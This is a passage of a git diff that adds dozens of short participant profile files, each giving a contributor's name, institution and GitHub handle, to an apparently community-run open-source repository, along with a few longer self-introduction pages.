-0,0 +1,5 @@ +--- +Name: Saikat Bishal +institution/company: National Institute of Technology Jamshedpur +github: https://github.com/saikatbishal +--- diff --git a/content/participant/saksham_gupta.md b/content/participant/saksham_gupta.md new file mode 100644 index 00000000000..e8b514db6bb --- /dev/null +++ b/content/participant/saksham_gupta.md @@ -0,0 +1,5 @@ +--- +Name: Saksham Gupta +Institution/company: LNCT, India +Github: https://github.com/saksham0103 +--- diff --git a/content/participant/salahu.md b/content/participant/salahu.md new file mode 100644 index 00000000000..544536db863 --- /dev/null +++ b/content/participant/salahu.md @@ -0,0 +1,5 @@ +--- +name: Muhammed Salahudheen +institution/company: EMEA College +github: [MhdSalahu](https://github.com/MhdSalahu) +--- diff --git a/content/participant/salimcodes.md b/content/participant/salimcodes.md new file mode 100644 index 00000000000..3e000c8e752 --- /dev/null +++ b/content/participant/salimcodes.md @@ -0,0 +1,5 @@ +--- +name: Salim Oyinlola +institution/company: University of Lagos +github:salimcodes +--- \ No newline at end of file diff --git a/content/participant/sama.md b/content/participant/sama.md new file mode 100644 index 00000000000..c57dcfc8eb4 --- /dev/null +++ b/content/participant/sama.md @@ -0,0 +1,5 @@ +--- +name: Sama +institution/company: Netaji Subhash Engineering College +github:sama-004 +--- diff --git a/content/participant/samkoba.md b/content/participant/samkoba.md new file mode 100644 index 00000000000..9cae6854f0e --- /dev/null +++ b/content/participant/samkoba.md @@ -0,0 +1,5 @@ +--- +name: T.M Fikri Febriansyah +institution/company: Keymeta Network +github: samkoba +--- diff --git a/content/participant/sanjay535.md b/content/participant/sanjay535.md new file mode 100644 index 00000000000..7e74412d7b5 --- /dev/null +++ b/content/participant/sanjay535.md @@ -0,0 +1,5 @@ +--- +name: Sanjay Gautam +institution/company: SGSITS, INDORE +github:sanjay535 +--- diff --git a/content/participant/sankalproy11.md b/content/participant/sankalproy11.md new file mode 100644 index 00000000000..c5859cef8f6 --- /dev/null +++ b/content/participant/sankalproy11.md @@ -0,0 +1,35 @@ +# Hi, I am Sankalpa Roy! 8-) + +--- + +## About Me + +I'm a newbie in the full stack development world, just starting out on my journey into web development. I'm enthusiastic about learning both front-end and back-end technologies. My goal is to create engaging user interfaces and strong databases, taking one step at a time to improve my skills and contribute to the tech world. Looking forward to the exciting road ahead! + +### Location + +_Dhanbad, Jharkhand, India_ + +### Academics + +| Name | Year | +| ----------------------------------- | -------------- | +| Vellore Institute of Technology, AP | 2021 - present | +| C.R. Oasis Convent Sr. Sec. School | 2018 - 2020 | +| Delhi Public School | 2006 - 2018 | + +### Interests + +- React.js +- Node.js +- MongoDB + +### Hobbies + +- Reading +- Listening to Music +- Chess + +### Profile Link + +Github profile: [sankalproy11](https://github.com/sankalproy11) diff --git a/content/participant/saransh484.md b/content/participant/saransh484.md new file mode 100644 index 00000000000..58fd02b7434 --- /dev/null +++ b/content/participant/saransh484.md @@ -0,0 +1,5 @@ +--- +name: Saransh Bhatnagar +institution/company: Shri Vaishnav Vidyapeeth Vishwavidhyalaya, Indore +github:saransh484 +--- diff --git a/content/participant/saswat10.md b/content/participant/saswat10.md new file mode 100644 index 00000000000..e8223254a69 --- /dev/null +++ b/content/participant/saswat10.md @@ -0,0 +1,5 @@ +--- +name: SASWAT SAMAL +institution/company: National Institute of Technology, Rourkela +github: saswat10 +--- diff --git a/content/participant/sathvik995.md b/content/participant/sathvik995.md new file mode 100644 index 00000000000..30b185c97b4 --- /dev/null +++ b/content/participant/sathvik995.md @@ -0,0 +1,5 @@ +--- +name : Sathvik Rao +institution/company: LPU +github: sathvik995 +--- \ No newline at end of file diff --git a/content/participant/sattwikeeg100.md b/content/participant/sattwikeeg100.md new file mode 100644 index 00000000000..90d6ce2fd2b --- /dev/null +++ b/content/participant/sattwikeeg100.md @@ -0,0 +1,5 @@ +--- +name: Sattwikee Ghosh +institution: TMSL,Kolkata +github: sattwikeeg100 +--- diff --git a/content/participant/satyendraMourya.md b/content/participant/satyendraMourya.md new file mode 100644 index 00000000000..08d7cf2b34b --- /dev/null +++ b/content/participant/satyendraMourya.md @@ -0,0 +1,5 @@ +--- +name: Satyendra Mourya +institution: Nagpur University +github: https://github.com/satyendramourya +--- diff --git a/content/participant/seabeepraveen.md b/content/participant/seabeepraveen.md new file mode 100644 index 00000000000..2fab91c50f2 --- /dev/null +++ b/content/participant/seabeepraveen.md @@ -0,0 +1,5 @@ +--- +name: CB Praveen +institution/company: SVNIT +github: seabeePraveen +--- \ No newline at end of file diff --git a/content/participant/seikhchilli.md b/content/participant/seikhchilli.md new file mode 100644 index 00000000000..f3456c6a64e --- /dev/null +++ b/content/participant/seikhchilli.md @@ -0,0 +1,5 @@ +--- +Name: Saurabh Kumar +institution/company: Lovely Professional University +github: https://github.com/seikhchilli +--- \ No newline at end of file diff --git a/content/participant/sg.md b/content/participant/sg.md new file mode 100644 index 00000000000..3ed15bf3e3d --- /dev/null +++ b/content/participant/sg.md @@ -0,0 +1,5 @@ +--- +Name: Suhani Garg +institution/company: Indian Institute of Technology, BHU, Varanasi +github: https://github.com/suhani29 +--- \ No newline at end of file diff --git a/content/participant/sgkul2000.md b/content/participant/sgkul2000.md new file mode 100644 index 00000000000..4ae5a35539b --- /dev/null +++ b/content/participant/sgkul2000.md @@ -0,0 +1,5 @@ +--- +name: Shreesh Kulkarni +institution/company: The National Institute of Engineering +github:sgkul2000 +--- diff --git a/content/participant/sh.md b/content/participant/sh.md new file mode 100644 index 00000000000..3600bb78753 --- /dev/null +++ b/content/participant/sh.md @@ -0,0 +1,3 @@ +name: scarlet hanna +institution/company: Brazil +github: github.com/soldierSH \ No newline at end of file diff --git a/content/participant/sh3nonRashimon.md b/content/participant/sh3nonRashimon.md new file mode 100644 index 00000000000..3cce250f828 --- /dev/null +++ b/content/participant/sh3nonRashimon.md @@ -0,0 +1,5 @@ +--- +name: Shannon Brookshire +institution/company: theOdinProject +github: https://github.com/SalamanderCtesiphon +--- diff --git a/content/participant/shahinsha.md b/content/participant/shahinsha.md new file mode 100644 index 00000000000..c6a92907222 --- /dev/null +++ b/content/participant/shahinsha.md @@ -0,0 +1,5 @@ +--- +name: Shahin Sha +institution/company: Vit Chennai +github: Shahin-0 +--- diff --git a/Add Code Here/Websites/Message App/comments.txt b/content/participant/shark-lamp.md similarity index 100% rename from Add Code Here/Websites/Message App/comments.txt rename to content/participant/shark-lamp.md diff --git a/content/participant/sharvari.md b/content/participant/sharvari.md new file mode 100644 index 00000000000..5ea87db6acf --- /dev/null +++ b/content/participant/sharvari.md @@ -0,0 +1,5 @@ +--- +Name: Sharvari +institution/company: MSFT +github: https://github.com/GenieCode +--- diff --git a/content/participant/shashwat-pd.md b/content/participant/shashwat-pd.md new file mode 100644 index 00000000000..8361cc88e37 --- /dev/null +++ b/content/participant/shashwat-pd.md @@ -0,0 +1,5 @@ +--- +name: Shashwat +institution/company: Tribhuwan University +github: shashwat-pd +--- diff --git a/content/participant/sheheeralizx.md b/content/participant/sheheeralizx.md new file mode 100644 index 00000000000..f3f18fe3dce --- /dev/null +++ b/content/participant/sheheeralizx.md @@ -0,0 +1,5 @@ +--- +name: SHEHEER ALI +institution/company: GPTC Palakkad +github:SHEHEERALIZX +--- diff --git a/content/participant/shifin.md b/content/participant/shifin.md new file mode 100644 index 00000000000..7ada591c5ac --- /dev/null +++ b/content/participant/shifin.md @@ -0,0 +1,5 @@ +--- +name: Mohamed shifin.k +institution/company: Emea arts and science collage +github: Mohdshifin +--- diff --git a/content/participant/shivnshshrma.md b/content/participant/shivnshshrma.md new file mode 100644 index 00000000000..9d7a7ae6ee6 --- /dev/null +++ b/content/participant/shivnshshrma.md @@ -0,0 +1,5 @@ +-- +name: Shivansh Kumar +institution/ company: Chandigarh University +github: shivnshshrma +-- diff --git a/content/participant/siddheshkr.md b/content/participant/siddheshkr.md new file mode 100644 index 00000000000..923067e0019 --- /dev/null +++ b/content/participant/siddheshkr.md @@ -0,0 +1,5 @@ +--- +name: Siddhesh Kumar +institution/company: B. P. Mandal College of Engineering,Madhepura +github: siddheshkr +--- diff --git a/content/participant/sidowxyz.md b/content/participant/sidowxyz.md new file mode 100644 index 00000000000..6a28123f8e1 --- /dev/null +++ b/content/participant/sidowxyz.md @@ -0,0 +1,8 @@ +--- +Name: Sidow Adan Sidow +Country: Somalia +University: Zamzam University of Science and Technology +University +Github: https://github.com/sidowxyz + +--- diff --git a/content/participant/simple_saviour.md b/content/participant/simple_saviour.md new file mode 100644 index 00000000000..00e4f6722f9 --- /dev/null +++ b/content/participant/simple_saviour.md @@ -0,0 +1,5 @@ +--- +name: Aryan +institution/company: BIT MESRA, RANCHI +github: https://github.com/Simple-Saviour +--- \ No newline at end of file diff --git a/content/participant/singh-ab.md b/content/participant/singh-ab.md new file mode 100644 index 00000000000..acad127d675 --- /dev/null +++ b/content/participant/singh-ab.md @@ -0,0 +1,5 @@ +--- +name: Abhay Singh +institution/company: IIIT Jabalpur +github: singh-ab +--- \ No newline at end of file diff --git a/content/participant/singhmansi25.md b/content/participant/singhmansi25.md new file mode 100644 index 00000000000..3fca95dd947 --- /dev/null +++ b/content/participant/singhmansi25.md @@ -0,0 +1,5 @@ +--- +name: Mansi Singh +institution/company: Lovely Professional University +github: singhmansi25 +--- diff --git a/content/participant/sivanbecker.md b/content/participant/sivanbecker.md new file mode 100644 index 00000000000..71a57076483 --- /dev/null +++ b/content/participant/sivanbecker.md @@ -0,0 +1,5 @@ +--- +name: Sivan +institution/company: NA +github: sivanbecker +--- \ No newline at end of file diff --git a/content/participant/slartibartfass b/content/participant/slartibartfass new file mode 100644 index 00000000000..4182fd57c03 --- /dev/null +++ b/content/participant/slartibartfass @@ -0,0 +1,5 @@ +--- +name: Axel Kriewel +institution/company: concedra gmbh +github: slartibartfass +--- diff --git a/content/participant/smitatgithub.md b/content/participant/smitatgithub.md new file mode 100644 index 00000000000..1566332dcb9 --- /dev/null +++ b/content/participant/smitatgithub.md @@ -0,0 +1,5 @@ +--- +name: Smit +institution/company: VIT +github: smitatgithub +--- diff --git a/content/participant/sneha_4_22.md b/content/participant/sneha_4_22.md new file mode 100644 index 00000000000..582103d284a --- /dev/null +++ b/content/participant/sneha_4_22.md @@ -0,0 +1,5 @@ +--- +name: SNEHA KUMARI +institution/company: MANAV RACHNA UNIVERSITY +github: sneha_4_22 (https://github.com/sneha-4-22) +--- diff --git a/content/participant/sourabmaity.md b/content/participant/sourabmaity.md new file mode 100644 index 00000000000..647611e7172 --- /dev/null +++ b/content/participant/sourabmaity.md @@ -0,0 +1,5 @@ +--- +name: Sourab Maity +institution/company: Defect Scanner +github: sourabmaity +--- diff --git a/content/participant/spirizeon.md b/content/participant/spirizeon.md new file mode 100644 index 00000000000..033ac6a5f79 --- /dev/null +++ b/content/participant/spirizeon.md @@ -0,0 +1,5 @@ +--- +name: Ayush Dutta +institution/company: SRM +github: spirizeon +--- diff --git a/content/participant/sreejasaha19.md b/content/participant/sreejasaha19.md new file mode 100644 index 00000000000..b703dd25415 --- /dev/null +++ b/content/participant/sreejasaha19.md @@ -0,0 +1,5 @@ +--- +name: Sreeja Saha +institution/company: Netaji Subhash Engineering College +github: sreejasaha19 +--- diff --git a/content/participant/sreeragp69.md b/content/participant/sreeragp69.md new file mode 100644 index 00000000000..3d5d8926045 --- /dev/null +++ b/content/participant/sreeragp69.md @@ -0,0 +1,5 @@ +--- +name: Sreerag p +institution/company: EMEA collage kondotty +github: https://github.com/sreeragp69 +--- diff --git a/content/participant/srijan-lamichhane.md b/content/participant/srijan-lamichhane.md new file mode 100644 index 00000000000..ffe480534ca --- /dev/null +++ b/content/participant/srijan-lamichhane.md @@ -0,0 +1,5 @@ +--- +name : srijan lamichhane +institution : Pokhara University +github : srijan-lamichhane +--- diff --git a/content/participant/srinjoy.md b/content/participant/srinjoy.md new file mode 100644 index 00000000000..dcf1f68537a --- /dev/null +++ b/content/participant/srinjoy.md @@ -0,0 +1,5 @@ +--- +name: Srinjoy Das +institution/company: Government College of Engineering and Leather Technology +github: noobcoder2000 +--- \ No newline at end of file diff --git a/content/participant/subham.md b/content/participant/subham.md new file mode 100644 index 00000000000..dd252cfaeab --- /dev/null +++ b/content/participant/subham.md @@ -0,0 +1,6 @@ +--- +Name: Subham Subhashis +Institution: Odisha University of Technology and Research +Github profile: Subham85 + +--- diff --git a/content/participant/sudhanshu.md b/content/participant/sudhanshu.md new file mode 100644 index 00000000000..1df6468f8e5 --- /dev/null +++ b/content/participant/sudhanshu.md @@ -0,0 +1,5 @@ +--- +name: Sudhanshu Prasad +institution/company: Siksha 'O' Anusandhan +github: sudhanshuprasad +--- \ No newline at end of file diff --git a/content/participant/sufyanhabib.md b/content/participant/sufyanhabib.md new file mode 100644 index 00000000000..a76a51bbd35 --- /dev/null +++ b/content/participant/sufyanhabib.md @@ -0,0 +1,29 @@ +--- +# ABUBAKAR HABIB + +### Location + +MUZAFFARPUR / INDIA + +### Academics +- MCA +- BCA +### Interests + +- + +### Development + +- FRONT-END DEVELOPMENT +- MERN +- + + +### Projects + +> Heading +- [ travel-list ](https://github.com/sufyanhabib/travel-list) +> +### Profile Link + +Go to profile [sufyanhabib](https://github.com/sufyanhabib) diff --git a/content/participant/sujalsha.md b/content/participant/sujalsha.md new file mode 100644 index 00000000000..8c922154571 --- /dev/null +++ b/content/participant/sujalsha.md @@ -0,0 +1,5 @@ +--- +name: Sujal +institution: Christ (Deemed to be University), Bangalore. +github: sujalsha +--- \ No newline at end of file diff --git a/content/participant/sumyak-jain.md b/content/participant/sumyak-jain.md new file mode 100644 index 00000000000..080b7dc103b --- /dev/null +++ b/content/participant/sumyak-jain.md @@ -0,0 +1,5 @@ +--- +name: Sumyak Jain +institution/company: UPES +github:Sumyak-Jain +--- diff --git a/content/participant/sunil-koder.md b/content/participant/sunil-koder.md new file mode 100644 index 00000000000..a139da0635a --- /dev/null +++ b/content/participant/sunil-koder.md @@ -0,0 +1,5 @@ +--- +name: Sunil Shrestha +institution/company: Banepa, NIST +github: https://github.com/Xtha-Sunil/ +--- diff --git a/content/participant/sunil.md b/content/participant/sunil.md new file mode 100644 index 00000000000..ae6db506175 --- /dev/null +++ b/content/participant/sunil.md @@ -0,0 +1,3 @@ +| *NAME* | *UNIVERSITY* | *GITHUB LINK* | +|:-------|:------------:|-----------------:| +| Sunil | NIST | https://github.com/KoderSunil| diff --git a/content/participant/surya-mu.md b/content/participant/surya-mu.md new file mode 100644 index 00000000000..a24bb5eeb33 --- /dev/null +++ b/content/participant/surya-mu.md @@ -0,0 +1,5 @@ +--- +Name: Surya M.U +institution/company: Vellore Institute of Chennai +github: https://github.com/surya-mu +--- diff --git a/content/participant/sushmita2109.md b/content/participant/sushmita2109.md new file mode 100644 index 00000000000..2a6d5bd8c4e --- /dev/null +++ b/content/participant/sushmita2109.md @@ -0,0 +1,5 @@ +--- +name: Sushmita Kumari +institution/company: Freelancer +github:sushmita2109 +--- \ No newline at end of file diff --git a/content/participant/swati-chauhan.md b/content/participant/swati-chauhan.md new file mode 100644 index 00000000000..48d877acc07 --- /dev/null +++ b/content/participant/swati-chauhan.md @@ -0,0 +1,7 @@ + + +--- +name: Swati Chauhan +institution/company: Intuit +github:swatichauhan814 +--- diff --git a/content/participant/sway.md b/content/participant/sway.md new file mode 100644 index 00000000000..7067982d773 --- /dev/null +++ b/content/participant/sway.md @@ -0,0 +1,5 @@ +--- +name: Swayams Bisoyi +institution/company: Institute of Technical Educaion and Research +github: https://github.com/Sway2003 +--- diff --git a/content/participant/swayam50.md b/content/participant/swayam50.md new file mode 100644 index 00000000000..217f966a721 --- /dev/null +++ b/content/participant/swayam50.md @@ -0,0 +1,5 @@ +--- +name: Swayamsidh Nayak +institution/company: C. V. Raman College of Engineering +github: swayam50 +--- \ No newline at end of file diff --git a/content/participant/syedjailani.md b/content/participant/syedjailani.md new file mode 100644 index 00000000000..f9391058cec --- /dev/null +++ b/content/participant/syedjailani.md @@ -0,0 +1,5 @@ +--- +name: Syed Jailani +institution/company: NA +github:syedjailani +--- diff --git a/content/participant/tahree22.md b/content/participant/tahree22.md new file mode 100644 index 00000000000..4311998e315 --- /dev/null +++ b/content/participant/tahree22.md @@ -0,0 +1,5 @@ +--- +name: Tari Akinukawe +institution/company: University of Calabar, Nigeria +github: Tahree22 +--- \ No newline at end of file diff --git a/content/participant/takumi021.md b/content/participant/takumi021.md new file mode 100644 index 00000000000..b8a0cb8806f --- /dev/null +++ b/content/participant/takumi021.md @@ -0,0 +1,5 @@ +--- +name: Om Patel +institution/company: SSHS +github:takumi021 +--- diff --git a/content/participant/tanishka.md b/content/participant/tanishka.md new file mode 100644 index 00000000000..83a5ced06ab --- /dev/null +++ b/content/participant/tanishka.md @@ -0,0 +1,5 @@ +--- +name: Tanishka Vaswani +institution: University of Petroleum and energy studies +github: https://github.com/Tani21 +--- diff --git a/content/participant/tanmoykarmakar.md b/content/participant/tanmoykarmakar.md new file mode 100644 index 00000000000..00fd63c7ebf --- /dev/null +++ b/content/participant/tanmoykarmakar.md @@ -0,0 +1,5 @@ +--- +name: Tanmoy karmakar +institution/company: Saas labs +github: tanmoy27112000 +--- \ No newline at end of file diff --git a/content/participant/tansugangopadhyay.md b/content/participant/tansugangopadhyay.md new file mode 100644 index 00000000000..74162b89599 --- /dev/null +++ b/content/participant/tansugangopadhyay.md @@ -0,0 +1,5 @@ +--- +name: Tansu Gangopadhyay +institution/company: SRM University +github:tansugangopadhyay +--- diff --git a/content/participant/tapati-chakraborty.md b/content/participant/tapati-chakraborty.md new file mode 100644 index 00000000000..e0fea697bd6 --- /dev/null +++ b/content/participant/tapati-chakraborty.md @@ -0,0 +1,5 @@ +--- +name: Tapati Chakraborty +institution/company: GCETTB +github:tapati-chakraborty +--- \ No newline at end of file diff --git a/content/participant/tarunrana1998.md b/content/participant/tarunrana1998.md new file mode 100644 index 00000000000..ccaed8cdf3f --- /dev/null +++ b/content/participant/tarunrana1998.md @@ -0,0 +1,5 @@ +--- +name: Tarun Rana +institution/company: JSS Academy Of Technical Education , Noida +github: tarunrana1998 +--- diff --git a/content/participant/tatheer135.md b/content/participant/tatheer135.md new file mode 100644 index 00000000000..526c3e2e2d9 --- /dev/null +++ b/content/participant/tatheer135.md @@ -0,0 +1,5 @@ +--- +name: TATHEER_ZAHRA +institution/company: SUPERIOR_UNIVERSITY +github:TATHEER135 +--- diff --git a/content/participant/technodumb.md b/content/participant/technodumb.md new file mode 100644 index 00000000000..81a883e65c0 --- /dev/null +++ b/content/participant/technodumb.md @@ -0,0 +1,5 @@ +--- +name: ALNAS KABEER +institution/company: MAR ATHANASIUS COLLEGE OF ENGINEERING +github:technodumb +--- diff --git a/content/participant/tharu.md b/content/participant/tharu.md new file mode 100644 index 00000000000..f55663308b1 --- /dev/null +++ b/content/participant/tharu.md @@ -0,0 +1,5 @@ +--- +name: Tharushi De Silva +institution/company: +github: https://github.com/TharushiDSilva/ +--- \ No newline at end of file diff --git a/content/participant/the-sleepingfox b/content/participant/the-sleepingfox new file mode 100644 index 00000000000..3e6f65ebbbc --- /dev/null +++ b/content/participant/the-sleepingfox @@ -0,0 +1,3 @@ +name: Ayush Pandit +institution/company: INSTITUTION_NAME +github: the-sleepingfox diff --git a/content/participant/theayangupta.md b/content/participant/theayangupta.md new file mode 100644 index 00000000000..79e1b072eb2 --- /dev/null +++ b/content/participant/theayangupta.md @@ -0,0 +1,5 @@ +--- +name: Ayan Gupta +institution/company: Dr. B R Ambedkar National Institute of Technology, Jalandhar +github:theayangupta +--- \ No newline at end of file diff --git a/content/participant/thecodereule.md b/content/participant/thecodereule.md new file mode 100644 index 00000000000..403699466aa --- /dev/null +++ b/content/participant/thecodereule.md @@ -0,0 +1,5 @@ +--- +name: IgorTadić +institution/company: FIPUUNIPU +github: thecodereule +--- diff --git a/content/participant/therealdhruv.md b/content/participant/therealdhruv.md new file mode 100644 index 00000000000..9d08383ca22 --- /dev/null +++ b/content/participant/therealdhruv.md @@ -0,0 +1,5 @@ +--- +name: Dhruv Pankaj Patel +institution/company: VIT Vellore +github: therealdhruv +--- \ No newline at end of file diff --git a/content/participant/this-mkhy.md b/content/participant/this-mkhy.md new file mode 100644 index 00000000000..0ab0f59a4b3 --- /dev/null +++ b/content/participant/this-mkhy.md @@ -0,0 +1,5 @@ +--- +Name: Mohamed Khaled Yousef +Institute: Freelancer +Github: this-mkhy +--- diff --git a/content/participant/thititongumpun.md b/content/participant/thititongumpun.md index f62c4406b25..391b536914e 100644 --- a/content/participant/thititongumpun.md +++ b/content/participant/thititongumpun.md @@ -1,3 +1,3 @@ -name: Thiti Tongumpun -institution/company: Thiti Technologies -github:thititongumpun +name: Thiti Tongumpun +institution/company: Thiti Technologies +github:thititongumpun diff --git a/content/participant/tinaM17.md b/content/participant/tinaM17.md new file mode 100644 index 00000000000..cb5d81fa3f5 --- /dev/null +++ b/content/participant/tinaM17.md @@ -0,0 +1,5 @@ +--- +name: Tina Majumder +institution: HERITAGE INSTITUTE OF TECHNOLOGY KOLKATA +institution: tinaM17 +--- diff --git a/content/participant/travisA.md b/content/participant/travisA.md new file mode 100644 index 00000000000..f79d0736d72 --- /dev/null +++ b/content/participant/travisA.md @@ -0,0 +1,5 @@ +--- +name: Travis +institution: Team Treehouse +github: TravisAlstrand +--- diff --git a/content/participant/trushildhokiya.md b/content/participant/trushildhokiya.md new file mode 100644 index 00000000000..dfc983e2202 --- /dev/null +++ b/content/participant/trushildhokiya.md @@ -0,0 +1,5 @@ +--- +name: Trushil dhokiya +institution/company: KJSIEIT , Mumbai +github:trushildhokiya +--- diff --git a/static/images/Arpit Mohankar.jpg b/content/participant/tryptophan36.md similarity index 100% rename from static/images/Arpit Mohankar.jpg rename to content/participant/tryptophan36.md diff --git a/content/participant/tucoff.md b/content/participant/tucoff.md new file mode 100644 index 00000000000..dbf43987c7a --- /dev/null +++ b/content/participant/tucoff.md @@ -0,0 +1,5 @@ +--- +name: Artur Raffael Baracho Cavalcanti +institution: UFRPE +github: tucoff +--- diff --git a/content/participant/tusharjain01.md b/content/participant/tusharjain01.md new file mode 100644 index 00000000000..0d7424ad7ee --- /dev/null +++ b/content/participant/tusharjain01.md @@ -0,0 +1,5 @@ +--- +name: Tushar Jain +institution/company: Teerthankar Mahaveer University +github:tusharjain01 +--- diff --git a/content/participant/tyagi-data-wizard.md b/content/participant/tyagi-data-wizard.md new file mode 100644 index 00000000000..e77e8d65075 --- /dev/null +++ b/content/participant/tyagi-data-wizard.md @@ -0,0 +1,3 @@ +name: Ujjwal Tyagi +company: NA +github:tyagi-data-wizard diff --git a/content/participant/tylerkanz.md b/content/participant/tylerkanz.md new file mode 100644 index 00000000000..732e20dbb13 --- /dev/null +++ b/content/participant/tylerkanz.md @@ -0,0 +1,71 @@ +

    Hi 👋, I'm Tyler Kanz

    +

    A passionate full-stack developer from Florida

    + +## Socials: +[![LinkedIn](https://img.shields.io/badge/LinkedIn-%230077B5.svg?logo=linkedin&logoColor=white)](https://linkedin.com/in/tylerkanz) + +## Languages: +![C#](https://img.shields.io/badge/c%23-%23239120.svg?style=for-the-badge&logo=c-sharp&logoColor=white) +![C++](https://img.shields.io/badge/c++-%2300599C.svg?style=for-the-badge&logo=c%2B%2B&logoColor=white) +![PHP](https://img.shields.io/badge/php-%23777BB4.svg?style=for-the-badge&logo=php&logoColor=white) +![Python](https://img.shields.io/badge/python-3670A0?style=for-the-badge&logo=python&logoColor=ffdd54) +![TypeScript](https://img.shields.io/badge/typescript-%23007ACC.svg?style=for-the-badge&logo=typescript&logoColor=white) +![JavaScript](https://img.shields.io/badge/javascript-%23323330.svg?style=for-the-badge&logo=javascript&logoColor=%23F7DF1E) + +## Front-End Development: +![HTML5](https://img.shields.io/badge/html5-%23E34F26.svg?style=for-the-badge&logo=html5&logoColor=white) +![CSS3](https://img.shields.io/badge/css3-%231572B6.svg?style=for-the-badge&logo=css3&logoColor=white) +![SASS](https://img.shields.io/badge/SASS-hotpink.svg?style=for-the-badge&logo=SASS&logoColor=white) +![Angular](https://img.shields.io/badge/angular-%23DD0031.svg?style=for-the-badge&logo=angular&logoColor=white) +![React](https://img.shields.io/badge/react-%2320232a.svg?style=for-the-badge&logo=react&logoColor=%2361DAFB) +![jQuery](https://img.shields.io/badge/jquery-%230769AD.svg?style=for-the-badge&logo=jquery&logoColor=white) +![Bootstrap](https://img.shields.io/badge/bootstrap-%23563D7C.svg?style=for-the-badge&logo=bootstrap&logoColor=white) +![TailwindCSS](https://img.shields.io/badge/tailwindcss-%2338B2AC.svg?style=for-the-badge&logo=tailwind-css&logoColor=white) + +## Back-End Development: +![Django](https://img.shields.io/badge/django-%23092E20.svg?style=for-the-badge&logo=django&logoColor=white) +![Firebase](https://img.shields.io/badge/firebase-%23039BE5.svg?style=for-the-badge&logo=firebase) +![Amplify](https://img.shields.io/badge/Amplify-%23FF9900.svg?style=for-the-badge&logo=amplify-aws&logoColor=white) +![.Net](https://img.shields.io/badge/.NET-5C2D91?style=for-the-badge&logo=.net&logoColor=white) +![Next JS](https://img.shields.io/badge/Next-black?style=for-the-badge&logo=next.js&logoColor=white) +![NodeJS](https://img.shields.io/badge/node.js-6DA55F?style=for-the-badge&logo=node.js&logoColor=white) + +## Database Management: +![AmazonDynamoDB](https://img.shields.io/badge/Amazon%20DynamoDB-4053D6?style=for-the-badge&logo=Amazon%20DynamoDB&logoColor=white) +![MySQL](https://img.shields.io/badge/mysql-%2300f.svg?style=for-the-badge&logo=mysql&logoColor=white) +![MongoDB](https://img.shields.io/badge/MongoDB-%234ea94b.svg?style=for-the-badge&logo=mongodb&logoColor=white) + +## Hosting: +![AWS](https://img.shields.io/badge/AWS-%23FF9900.svg?style=for-the-badge&logo=amazon-aws&logoColor=white) +![Apache](https://img.shields.io/badge/apache-%23D42029.svg?style=for-the-badge&logo=apache&logoColor=white) +![Nginx](https://img.shields.io/badge/nginx-%23009639.svg?style=for-the-badge&logo=nginx&logoColor=white) + +## Development Tools: +![GraphQL](https://img.shields.io/badge/-GraphQL-E10098?style=for-the-badge&logo=graphql&logoColor=white) +![Gulp](https://img.shields.io/badge/GULP-%23CF4647.svg?style=for-the-badge&logo=gulp&logoColor=white) +![NPM](https://img.shields.io/badge/NPM-%23000000.svg?style=for-the-badge&logo=npm&logoColor=white) +![RxJS](https://img.shields.io/badge/rxjs-%23B7178C.svg?style=for-the-badge&logo=reactivex&logoColor=white) +![Yarn](https://img.shields.io/badge/yarn-%232C8EBB.svg?style=for-the-badge&logo=yarn&logoColor=white) +![Postman](https://img.shields.io/badge/Postman-FF6C37?style=for-the-badge&logo=postman&logoColor=white) +![Docker](https://img.shields.io/badge/docker-%230db7ed.svg?style=for-the-badge&logo=docker&logoColor=white) +![Gradle](https://img.shields.io/badge/Gradle-02303A.svg?style=for-the-badge&logo=Gradle&logoColor=white) + +## Other Software: +![Adobe Photoshop](https://img.shields.io/badge/adobephotoshop-%2331A8FF.svg?style=for-the-badge&logo=adobephotoshop&logoColor=white) +![Adobe Premiere Pro](https://img.shields.io/badge/Adobe%20Premiere%20Pro-9999FF.svg?style=for-the-badge&logo=Adobe%20Premiere%20Pro&logoColor=white) +![Adobe XD](https://img.shields.io/badge/Adobe%20XD-470137?style=for-the-badge&logo=Adobe%20XD&logoColor=#FF61F6) +![Adobe Illustrator](https://img.shields.io/badge/adobeillustrator-%23FF9A00.svg?style=for-the-badge&logo=adobeillustrator&logoColor=white) +![Blender](https://img.shields.io/badge/blender-%23F5792A.svg?style=for-the-badge&logo=blender&logoColor=white) +![Arduino](https://img.shields.io/badge/-Arduino-00979D?style=for-the-badge&logo=Arduino&logoColor=white) +![Raspberry Pi](https://img.shields.io/badge/-RaspberryPi-C51A4A?style=for-the-badge&logo=Raspberry-Pi) +![Trello](https://img.shields.io/badge/Trello-%23026AA7.svg?style=for-the-badge&logo=Trello&logoColor=white) + +# 📊 GitHub Stats: + +![](https://github-readme-streak-stats.herokuapp.com/?user=tylerkanz&theme=dark&hide_border=false)
    +![](https://github-readme-stats.vercel.app/api/top-langs/?username=tylerkanz&theme=dark&hide_border=false&include_all_commits=false&count_private=false&layout=compact) + +--- +[![](https://visitcount.itsvg.in/api?id=tylerkanz&icon=0&color=3)](https://visitcount.itsvg.in) + + diff --git a/content/participant/tzAcee.md b/content/participant/tzAcee.md new file mode 100644 index 00000000000..b2975fbd9c6 --- /dev/null +++ b/content/participant/tzAcee.md @@ -0,0 +1,5 @@ +--- +name: Maxim +institution/company: Me, as a private person +github: tzAcee +--- \ No newline at end of file diff --git a/content/participant/ujenbasi000.md b/content/participant/ujenbasi000.md new file mode 100644 index 00000000000..7107a947f20 --- /dev/null +++ b/content/participant/ujenbasi000.md @@ -0,0 +1,4 @@ +--- +name: Ujen Basi +github: ujenbasi000 +--- diff --git a/content/participant/ujjwalbhandari.md b/content/participant/ujjwalbhandari.md new file mode 100644 index 00000000000..2ee002b76b4 --- /dev/null +++ b/content/participant/ujjwalbhandari.md @@ -0,0 +1,5 @@ +--- +name: Ujjwal Bhandari +institution/company: Butwal multiple campus, Nepal +github: ujjwalbhandarii +--- diff --git a/content/participant/ujjwalnp.md b/content/participant/ujjwalnp.md new file mode 100644 index 00000000000..965358a82a9 --- /dev/null +++ b/content/participant/ujjwalnp.md @@ -0,0 +1,5 @@ +--- +name : Ujjwal Dhakal +institution : Pokhara University +github : ujjwalnp +--- diff --git a/content/participant/unspokenmyth.md b/content/participant/unspokenmyth.md new file mode 100644 index 00000000000..0a074a8abc1 --- /dev/null +++ b/content/participant/unspokenmyth.md @@ -0,0 +1,5 @@ +--- +name: Nishant Bagga +institution/company: Vivekananda Institute of Professional Studies, India +github: unspokenmyth +--- \ No newline at end of file diff --git a/content/participant/utkarshjaulkar.md b/content/participant/utkarshjaulkar.md new file mode 